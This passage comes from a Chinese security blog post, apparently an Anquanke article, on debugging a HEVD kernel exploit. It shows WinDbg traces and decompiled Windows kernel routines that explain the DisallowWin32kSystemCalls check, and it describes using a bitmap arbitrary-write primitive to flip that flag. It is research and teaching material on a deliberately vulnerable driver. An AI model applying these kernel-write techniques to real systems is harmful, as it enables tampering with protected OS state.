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kd> dt nt!_EPROCESS DisallowWin32kSystemCalls 866654c0 +0x0c0 DisallowWin32kSystemCalls : 0y1 // 对应比特位为1 kd> p nt!PsConvertToGuiThread+0x32: 81b0c6a8 f781c000000000000080 test dword ptr [ecx+0C0h],80000000h // 判断Flags2.DisallowedWin32kSystemCalls kd> p nt!PsConvertToGuiThread+0x3c: 81b0c6b2 757e jne nt!PsConvertToGuiThread+0xbc (81b0c732) kd> p nt!PsConvertToGuiThread+0xbc: 81b0c732 b8220000c0 mov eax,0C0000022h // 进入错误判断,返回C0000022 |
来看下这段代码逻辑。
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signed int __stdcall PsConvertToGuiThread() { v0 = __readfsdword(292); // 获取_KTHREAD结构体 if ( *(_BYTE *)(v0 + 346) ) // 判断_KTHREAD结构体的Previous Mode { if ( *(int **)(v0 + 60) == &KeServiceDescriptorTable ) // 检查是否是win32的线程 { v1 = *(_DWORD *)(v0 + 128); if ( *(_DWORD *)(v1 + 192) & 0x80000000 ) // 判断DisallowedWin32kSystemCalls { result = 0xC000022; // 返回C000022 STATUS_ACCESS_DENIED } |
整个Win32k的检查过程是这样的,KiFastCallEntry -> KiEndUnexpectRange -> PsCovertToGUIThread。这个检查过程的依据是SSDT,系统调度表,当调用不在SSDT表时,也就是第一次调用Win32k System Call的时候,会检查win32k是否允许调用。如下代码逻辑:
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.text:00511652 loc_511652: ; CODE XREF: _KiEndUnexpectedRange+15j .text:00511652 ; _KiSystemService+8Aj .text:00511652 mov edi, eax ;eax = SSDTIndex .text:00511654 shr edi, 8;eax /256 .text:00511657 and edi, 10h; //SSDT or SSDTShadow .text:0051165A mov ecx, edi .text:0051165C add edi, [esi+3Ch]; // 检查_KTHREAD->ServiceTable //kd > dt nt!_KTHREAD ServiceTable // +0x03c ServiceTable : Ptr32 Void .text:0051165F mov ebx, eax .text:00511661 and eax, 0FFFh .text:00511666 cmp eax, [edi+8]; // 检查当前系统调用号 // 和ServiceTable中的调用号,确定是不是在SSDT .text:00511669 jnb _KiEndUnexpectedRange // 如果不在,则跳转 |
在KiEndUnexpectedRange中会通过PsConvertToGuiThread来Check状态,在这里会检查win32k系统调用的情况,如果Flags2.DisAllowedWin32kSystemCalls为1,则禁用状态,返回C000022 ,也就是STATUS_ACCESS_DENIED
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.text:00511384 _KiEndUnexpectedRange proc near ; CODE XREF: _KiSystemService+19B_x0019_j .text:00511384 cmp ecx, 10h .text:00511387 jnz short loc_5113C3 .text:00511389 push edx .text:0051138A push ebx // 系统调用号 .text:0051138B call _PsConvertToGuiThread@0 ; PsConvertToGuiThread() |
默认是不启用的,则能成功打开cmd。
我们通过setbitmap可以将其改为启用,这样PsConvertToGuiThread就会返回C000022,则后续会造成调用CreateProcess中由于禁用win32k.sys导致程序加载失败。
其实整个HEVD的这个exploit调试还是很有趣的,Bitmap也可以修改kernel Address达到一些比较巧妙的效果,当然,如果修改的地址有问题,则会直接BSOD,我就多次发生这样的情况,快照保存了几十个。文中有一些疑问和思考不够深入的地方请师傅们多多批评指正,谢谢大家!
文中改写源码地址:https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Win10&Win8
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3544.html0day
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